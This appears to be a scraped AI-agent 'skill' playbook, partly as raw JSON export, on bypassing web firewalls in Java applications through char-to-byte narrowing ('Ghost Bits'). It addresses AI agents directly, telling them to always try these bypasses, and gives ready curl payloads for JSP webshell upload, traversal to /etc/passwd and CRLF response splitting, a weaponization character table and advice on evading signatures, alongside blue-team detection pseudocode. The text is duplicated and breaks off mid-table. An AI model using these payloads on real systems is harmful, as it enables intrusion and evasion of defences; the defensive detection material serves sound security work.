ghost-bits-cast-attack

SKILL: Ghost Bits / Cast Attack — Java char to byte Narrowing Playbook AI LOAD INSTRUCTION : This is a Java-only injection-enabling primitive, not a standalone vulnerability class. Whenever you see (1) a Java backend, (2) a WAF/IDS in front of it, and (3) any of {SQLi, deser RCE, file upload, path traversal, CRLF, request smuggling, SMTP injection} on the menu, ALWAYS try Ghost Bits variants of the payload before declaring it "blocked". The root cause is the silent loss of the high 8 bits when Java code narrows a 16-bit to an 8-bit — the WAF sees a harmless Unicode character, the backend reco…

--GB\\r\\nContent-Disposition: form-data; name=\"file\"; filename*=UTF-8\\'\\'shell.\\xc5\\xaasp\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\u003c%@ page import=\"java.util.*\" %>\\r\\n--GB--\\r\\n'\n\n# Spring URL traversal via 阮 (UTF-8 E9 98 AE)\ncurl -k \"https://target/api/data?file=$(printf '\\xe9\\x98\\xae\\xe9\\x98\\xae\\xe9\\x98\\xafetc\\xe9\\x98\\xafpasswd')\"\n\n# Jetty %2> hex folding bypass\ncurl -k \"https://target/setup/setup-s/%2%3E%2%3E/log.jsp\"\n\n# JDK HttpServer CRLF response splitting (CVE-2026-21933)\ncurl -k --get \"https://target/echo\" \\\n --data-urlencode 'ref=Cu\\xe7\\x98\\x8d\\xe7\\x98\\x8aContent-Type: text/html\\xe7\\x98\\x8d\\xe7\\x98\\x8aContent-Length: 33\\xe7\\x98\\x8d\\xe7\\x98\\x8a\\xe7\\x98\\x8d\\xe7\\x98\\x8a\u003cscript>alert(1)\u003c/script>'\n```\n\n`Ū` = `\\xc5\\xaa` (UTF-8 of U+016A, low byte 0x6A = `j`).\n`阮` = `\\xe9\\x98\\xae` (UTF-8 of U+962E, low byte 0x2E = `.`).\n`阯` = `\\xe9\\x98\\xaf` (UTF-8 of U+962F, low byte 0x2F = `/`).\n`瘍` = `\\xe7\\x98\\x8d`, `瘊` = `\\xe7\\x98\\x8a` (CRLF).\n\n---\n\n## 4. WAF / IDS DETECTION PSEUDOCODE\n\nFor blue team, an effective Ghost-Bits-aware WAF rule emulates what the\nbackend would see. The minimal viable approach is multi-view inspection:\n\n```python\nDANGEROUS_TOKENS_REGEX = compile_dangerous_tokens() # ../, @type, etc.\n\ndef normalize_views(buf: bytes) -> dict:\n s = buf.decode(\"utf-8\", errors=\"replace\")\n return {\n \"raw\": s,\n \"low_byte\": \"\".join(chr(ord(c) & 0xFF) for c in s),\n \"fullwidth_nfkc\": unicodedata.normalize(\"NFKC\", s),\n \"url_decoded\": strict_url_decode(s),\n \"url_lax_hex\": lax_hex_url_decode(s), # mimic Jetty fromHexDigit\n \"u_escape\": unescape_u_escapes(s),\n \"x_escape\": unescape_x_escapes(s), # mimic Fastjson \\x default 0\n \"base64_low\": decode_base64_low_byte(s),\n }\n\n\ndef detect(buf: bytes) -> Alert | None:\n views = normalize_views(buf)\n for name, view in views.items():\n if DANGEROUS_TOKENS_REGEX.search(view):\n if name == \"raw\":\n return Alert(\"classic\", view, severity=\"high\")\n return Alert(f\"ghost-bits:{name}\", view, severity=\"high\")\n return None\n```\n\nStrict implementations of the per-decoder helpers are the hard part:\n\n```python\ndef lax_hex_url_decode(s: str) -> str:\n \"\"\"Re-implement Jetty TypeUtil.fromHexDigit semantics.\"\"\"\n out = []\n i = 0\n while i \u003c len(s):\n c = s[i]\n if c == \"%\" and i + 2 \u003c len(s):\n try:\n hi = jetty_lax_hex(s[i+1])\n lo = jetty_lax_hex(s[i+2])\n if 0 \u003c= hi \u003c= 15 and 0 \u003c= lo \u003c= 15:\n out.append(chr((hi \u003c\u003c 4) | lo))\n i += 3\n continue\n except Exception:\n pass\n out.append(c)\n i += 1\n return \"\".join(out)\n\n\ndef jetty_lax_hex(c: str) -> int:\n x = (ord(c) & 0x1F) + ((ord(c) >> 6) * 25) - 16\n return x # 0..15 for legal digits; also returns 14 for '>'\n```\n\nWAF rule outline (high signal, low false positive):\n\n```\nALERT IF:\n DANGEROUS_TOKEN matches in { low_byte_view UNION url_lax_hex_view UNION u_escape_view }\n AND DANGEROUS_TOKEN does NOT match in raw_view\n```\n\nThe \"subtraction\" against `raw_view` filters out legitimate fullwidth /\ninternational content while still catching every Family A / B / C bypass.\n\n---\n\n## 5. RAPID VERIFICATION CHECKLIST\n\nUse this checklist on a reachable Java target before declaring \"no Ghost\nBits surface\":\n\n```\n[ ] One Family A character substitution test, e.g. replace one '/' with '阯'\n in a known endpoint -> compare 200/302/404 against a \"neutral X\" baseline.\n\n[ ] One Family B test: replace one '%XX' triplet with '%X>' or '%X^' on a\n URL path -> compare to baseline.\n\n[ ] One Family C test: send a JSON body with one fullwidth digit inside a\n Unicode escape, e.g. '\\u\\uFF12000' (0x2030 instead of 0x2030 ASCII) ->\n compare to baseline.\n\n[ ] If any of the above produces a body / status / length / timing\n difference, switch to the per-recipe payload from SKILL section 5.\n\n[ ] Always log the candidate `k` per substitution; rotate `k` between runs\n so adaptive WAFs cannot signature on a single character.\n```\n\n---\n\n## 6. REFERENCES\n\n- *Cast Attack: A New Threat Posed by Ghost Bits in Java*, Black Hat Asia\n 2026 — Xinyu Bai (@b1u3r), Zhihui Chen (@1ue), contributor Zongzheng\n Zheng (@chun_springX).\n- Vendor advisories: GeoServer GHSA-6jj6-gm7p-fcvv (CVE-2024-36401),\n Spring CVE-2022-22965 (`spring.io/security/cve-2022-22965`), Apache\n Commons BCEL 6.12.0 release notes, Apache HttpClient 4.5.10 / 5.x\n migration notes.\n- Distillation source: gm7.org public advisory + HackTwoHub deep-dive\n reproduction of the 56-page slide deck. No customer or vendor-private\n artifacts are included; everything in this Cookbook is built from public\n research and verifiable Unicode arithmetic.\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":24488,"content_sha256":"25f8fe8914f931b1df3391f96de260122e4f362b6e7a87bbe717a44b72a06f6d"}],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"SKILL: Ghost Bits / Cast Attack — Java char to byte Narrowing Playbook","type":"text"}]},{"type":"blockquote","content":[{"type":"paragraph","content":[{"text":"AI LOAD INSTRUCTION","type":"text","marks":[{"type":"strong"}]},{"text":": This is a Java-only injection-enabling primitive, not a standalone vulnerability class. Whenever you see (1) a Java backend, (2) a WAF/IDS in front of it, and (3) any of {SQLi, deser RCE, file upload, path traversal, CRLF, request smuggling, SMTP injection} on the menu, ALWAYS try Ghost Bits variants of the payload before declaring it \"blocked\". The root cause is the silent loss of the high 8 bits when Java code narrows a 16-bit ","type":"text"},{"text":"char","type":"text","marks":[{"type":"code_inline"}]},{"text":" to an 8-bit ","type":"text"},{"text":"byte","type":"text","marks":[{"type":"code_inline"}]},{"text":" — the WAF sees a harmless Unicode character, the backend reconstructs the original ASCII attack byte. Base models almost never reach for this primitive.","type":"text"}]},{"type":"paragraph","content":[{"text":"Source: Black Hat Asia 2026 talk ","type":"text"},{"text":"Cast Attack: A New Threat Posed by Ghost Bits in Java","type":"text","marks":[{"type":"em"}]},{"text":" by Xinyu Bai (@b1u3r), Zhihui Chen (@1ue), with contributor Zongzheng Zheng (@chun_springX).","type":"text"}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"0. RELATED ROUTING","type":"text"}]},{"type":"paragraph","content":[{"text":"Ghost Bits is a ","type":"text"},{"text":"bypass","type":"text","marks":[{"type":"em"}]},{"text":" primitive that re-enables payloads from many other playbooks. Pair it with whichever attack family applies:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"waf-bypass-techniques","type":"text","marks":[{"type":"link","attrs":{"href":"../waf-bypass-techniques/SKILL.md","title":null}}]},{"text":" — when a Java backend is suspected and WAF rules block the literal payload, this is the first technique to try beyond classic encoding.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"deserialization-insecure","type":"text","marks":[{"type":"link","attrs":{"href":"../deserialization-insecure/SKILL.md","title":null}}]},{"text":" — for Apache Commons BCEL ClassLoader and Fastjson ","type":"text"},{"text":"\\u","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"\\x","type":"text","marks":[{"type":"code_inline"}]},{"text":" escape variants.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"path-traversal-lfi","type":"text","marks":[{"type":"link","attrs":{"href":"../path-traversal-lfi/SKILL.md","title":null}}]},{"text":" — Spring, Jetty, Undertow, Vert.x URL decoding and ","type":"text"},{"text":"%2>","type":"text","marks":[{"type":"code_inline"}]},{"text":" hex folding.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"upload-insecure-files","type":"text","marks":[{"type":"link","attrs":{"href":"../upload-insecure-files/SKILL.md","title":null}}]},{"text":" — Tomcat ","type":"text"},{"text":"RFC2231Utility","type":"text","marks":[{"type":"code_inline"}]},{"text":" ","type":"text"},{"text":"filename*","type":"text","marks":[{"type":"code_inline"}]},{"text":" Webshell upload.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"request-smuggling","type":"text","marks":[{"type":"link","attrs":{"href":"../request-smuggling/SKILL.md","title":null}}]},{"text":" — Apache HttpClient ","type":"text"},{"text":"\u003c= 4.5.9","type":"text","marks":[{"type":"code_inline"}]},{"text":" (HTTPCLIENT-1974/1978) header CRLF.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"crlf-injection","type":"text","marks":[{"type":"link","attrs":{"href":"../crlf-injection/SKILL.md","title":null}}]},{"text":" — Angus Mail / Jakarta Mail SMTP injection and JDK HttpServer response splitting.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"sqli-sql-injection","type":"text","marks":[{"type":"link","attrs":{"href":"../sqli-sql-injection/SKILL.md","title":null}}]},{"text":" — Jackson ","type":"text"},{"text":"charToHex","type":"text","marks":[{"type":"code_inline"}]},{"text":" table-lookup truncation hides SQL keywords inside Unicode escapes.","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Advanced Reference","type":"text"}]},{"type":"paragraph","content":[{"text":"Load ","type":"text"},{"text":"PAYLOAD_COOKBOOK.md","type":"text","marks":[{"type":"link","attrs":{"href":"./PAYLOAD_COOKBOOK.md","title":null}}]},{"text":" when you need:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Full byte-to-Ghost-character lookup table covering every printable ASCII byte 0x20–0x7E and the most useful control bytes (0x00, 0x09, 0x0A, 0x0D).","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Per-component affected version matrix and patch identifiers.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Yaklang and Python one-liner payload generators (for ","type":"text"},{"text":"poc.HTTP","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"codec.Encode","type":"text","marks":[{"type":"code_inline"}]},{"text":", raw socket).","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"\"Multi-view normalization engine\" pseudocode for blue-team WAF detection.","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"1. ONE-MINUTE MENTAL MODEL","type":"text"}]},{"type":"paragraph","content":[{"text":"Java's ","type":"text"},{"text":"char","type":"text","marks":[{"type":"code_inline"}]},{"text":" is a ","type":"text"},{"text":"16-bit","type":"text","marks":[{"type":"strong"}]},{"text":" unsigned integer (UTF-16 code unit). Almost every wire protocol — HTTP/1.1, SMTP, Redis RESP, file paths, raw byte streams — is ","type":"text"},{"text":"8-bit","type":"text","marks":[{"type":"strong"}]},{"text":" byte oriented. The right way to bridge them is explicit charset encoding:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"// Correct: explicit UTF-8, multi-byte chars become multi-byte sequences\nbyte[] bytes = str.getBytes(StandardCharsets.UTF_8);\nout.write(bytes);","type":"text"}]},{"type":"paragraph","content":[{"text":"Tons of legacy code, framework internals, and \"fast path\" optimizations skip this and silently narrow:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"// Dangerous: high 8 bits silently dropped\nbyte b = (byte) ch; // 0x966A -> 0x6A\nout.write(ch); // ByteArrayOutputStream.write(int) keeps low 8 bits\ndos.writeBytes(str); // DataOutputStream loops char->byte cast\nint v = ch & 0xFF; // explicit low-byte mask","type":"text"}]},{"type":"paragraph","content":[{"text":"The lost high 8 bits are the ","type":"text"},{"text":"Ghost Bits","type":"text","marks":[{"type":"strong"}]},{"text":". They turn a multi-byte Unicode character into a single attacker-chosen ASCII byte at the protocol layer.","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"View A (string layer: WAF / business validation / logs)\n sees: 陪阮严灵瘍瘊 ... \"harmless Unicode garbage, allow\"\n |\n v silent narrowing somewhere in the call stack\nView B (byte layer: protocol / file system / parser / class loader)\n sees: j . % u \\r \\n ... \"executes the dangerous semantics\"\n\nThe boundary is breached at the exact moment \"view A\" and \"view B\" disagree.","type":"text"}]},{"type":"paragraph","content":[{"text":"Mathematical formulation: to make View B see byte ","type":"text"},{"text":"T","type":"text","marks":[{"type":"code_inline"}]},{"text":", pick any ","type":"text"},{"text":"k in 0x01..0xFF","type":"text","marks":[{"type":"code_inline"}]},{"text":" and use:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"c = chr((k \u003c\u003c 8) | T)","type":"text"}]},{"type":"paragraph","content":[{"text":"That gives you ","type":"text"},{"text":"255 candidate Unicode characters per dangerous byte","type":"text","marks":[{"type":"strong"}]},{"text":" — plenty of room to dodge any signature-based blacklist.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"2. THREE ROOT-CAUSE FAMILIES","type":"text"}]},{"type":"paragraph","content":[{"text":"The Ghost Bits umbrella covers three distinct underlying bugs. Distinguishing them tells you both ","type":"text"},{"text":"which payload shape","type":"text","marks":[{"type":"em"}]},{"text":" to send and ","type":"text"},{"text":"what to grep for","type":"text","marks":[{"type":"em"}]},{"text":" in source.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Family A — Real high-bit truncation (classic Ghost Bits)","type":"text"}]},{"type":"paragraph","content":[{"text":"The narrowing is literal and unconditional.","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"java"},"content":[{"text":"// Pattern A1: explicit cast\nbyte b = (byte) ch;\n\n// Pattern A2: bitwise mask\nint v = ch & 0xFF;\nint v = ch & 255;\n\n// Pattern A3: OutputStream.write(int) keeps low 8 bits only\nout.write(ch);\nbaos.write(ch);\n\n// Pattern A4: DataOutputStream.writeBytes(String) iterates chars,\n// writing low byte of each\ndos.writeBytes(str);\n\n// Pattern A5: deprecated APIs that still exist in old code\nString.getBytes(int srcBegin, int srcEnd, byte[] dst, int dstBegin);\nnew StringBufferInputStream(str);\nraf.writeBytes(str);","type":"text"}]},{"type":"paragraph","content":[{"text":"Typical impact: Tomcat ","type":"text"},{"text":"filename*","type":"text","marks":[{"type":"code_inline"}]},{"text":", Apache BCEL ClassLoader, Lettuce Redis writer, SMTP CRLF in Angus Mail, HTTPCLIENT-1974 header injection.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Family B — Bit-arithmetic folding (illegal char becomes legal)","type":"text"}]},{"type":"paragraph","content":[{"text":"A \"fast\" hex / base64 / charset decoder uses bit tricks instead of strict range checks, so an illegal character collapses onto a legal one.","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"java"},"content":[{"text":"// Jetty TypeUtil.fromHexDigit (simplified)\nprivate static int fromHexDigit(char c) {\n int x = c & 0x1F; // keep low 5 bits\n x += (c >> 6) * 25;\n x -= 16;\n return x; // expected 0..15, but no range check\n}","type":"text"}]},{"type":"paragraph","content":[{"text":"Worked example: feed ","type":"text"},{"text":">","type":"text","marks":[{"type":"code_inline"}]},{"text":" (0x3E):","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"0x3E & 0x1F = 0x1E = 30\n(0x3E >> 6) * 25 = 0\n30 + 0 - 16 = 14 = 0xE","type":"text"}]},{"type":"paragraph","content":[{"text":"So ","type":"text"},{"text":"%2>","type":"text","marks":[{"type":"code_inline"}]},{"text":" is silently parsed as ","type":"text"},{"text":"%2E","type":"text","marks":[{"type":"code_inline"}]},{"text":" = ","type":"text"},{"text":".","type":"text","marks":[{"type":"code_inline"}]},{"text":". The same algebra makes ","type":"text"},{"text":"%2^","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"%2~","type":"text","marks":[{"type":"code_inline"}]},{"text":" etc. equivalent to other hex digits.","type":"text"}]},{"type":"paragraph","content":[{"text":"Typical impact: Openfire CVE-2023-32315, GeoServer CVE-2024-36401, generic URL-decode WAF bypass.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Family C — Lax Unicode normalization","type":"text"}]},{"type":"paragraph","content":[{"text":"The decoder accepts Unicode characters that happen to be classified as \"digit\" or that map to a hex value via a ","type":"text"},{"text":"& 0xFF","type":"text","marks":[{"type":"code_inline"}]},{"text":" lookup — even though they were never meant to participate in protocol parsing.","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"java"},"content":[{"text":"// Fastjson: too permissive\nCharacter.digit(c, 16); // accepts Thai, Punjabi, fullwidth digits\n\n// Jackson: index by low 8 bits into an ASCII-only table\nreturn sHexValues[ch & 0xff];\n\n// Generic: fullwidth normalization\n// '2' (U+FF12) -> '2', 'e' (U+FF45) -> 'e'","type":"text"}]},{"type":"paragraph","content":[{"text":"Typical impact: Fastjson ","type":"text"},{"text":"\\u","type":"text","marks":[{"type":"code_inline"}]},{"text":" and ","type":"text"},{"text":"\\x","type":"text","marks":[{"type":"code_inline"}]},{"text":" escape bypass, fullwidth URL-encoded path traversal, Jackson ","type":"text"},{"text":"charToHex","type":"text","marks":[{"type":"code_inline"}]},{"text":" SQLi smuggling.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"3. CHARACTER GENERATOR","type":"text"}]},{"type":"paragraph","content":[{"text":"Build any Ghost Bits character on the fly. This is the single function every agent should keep in mind:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"python"},"content":[{"text":"# Python\ndef ghost(target_byte: int, k: int = 1) -> str:\n \"\"\"Return a Unicode char whose low 8 bits equal target_byte.\"\"\"\n return chr(((k & 0xFF) \u003c\u003c 8) | (target_byte & 0xFF))\n\n# 255 candidates per byte, e.g. for '.' (0x2E):\ncandidates = [ghost(0x2E, k) for k in range(1, 256)]\n# 阮(U+962E), Ⱦ?-prefixed-..., etc.","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"yak"},"content":[{"text":"// Yaklang (for poc.HTTP / fuzz)\nfunc ghost(targetByte, k) {\n return string(rune(((k & 0xFF) \u003c\u003c 8) | (targetByte & 0xFF)))\n}\nghostJ = ghost(0x6A, 0x96) // returns \"陪\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Selection guidance:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Avoid surrogate range ","type":"text"},{"text":"0xD800..0xDFFF","type":"text","marks":[{"type":"code_inline"}]},{"text":" (high byte 0xD8..0xDF) — those are not valid scalar values and will be replaced by the JVM string decoder before reaching the narrowing site, defeating the bypass.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Prefer characters that survive the application's own charset round-trip (Latin-Extended, CJK Unified Ideographs, Enclosed CJK Letters and Months, Hangul). If the request body uses UTF-8, these all encode cleanly into multi-byte sequences that no WAF rule recognizes as ","type":"text"},{"text":".","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"/","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"j","type":"text","marks":[{"type":"code_inline"}]},{"text":", etc.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Rotate ","type":"text"},{"text":"k","type":"text","marks":[{"type":"code_inline"}]},{"text":" between requests so signature based learning cannot pin a single character to a single attack.","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"4. DANGEROUS-BYTE TO GHOST-CHARACTER MAP","type":"text"}]},{"type":"paragraph","content":[{"text":"Compact red-team weaponization table. For every byte the attacker actually needs, one verified Unicode char is given; substitute another ","type":"text"},{"text":"k","type":"text","marks":[{"type":"code_inline"}]},{"text":" if the WAF later learns the example.","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Target byte","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Hex","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Used for","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Ghost char","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Code point","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\\t","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x09","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"header folding, parser confusion","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"ĉ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+0109","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\\n","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x0A","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"CRLF injection, log injection","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"瘊","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+760A","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\\r","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x0D","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"CRLF injection, request smuggling","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"瘍","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+760D","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":" ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x20","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"header break, command separator","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Ġ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+0120","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"\"","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x22","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"string break in JSON / quoted-printable","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Ģ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+0122","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"%","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x25","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"URL encoding prefix, second decode","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"严","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+4E25","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"&","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x26","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"parameter separator","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Ȧ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+0226","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"'","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x27","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"SQL string break","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"ȧ","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"U+0227","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"(","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"0x28","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"EL/SpEL/OGNL 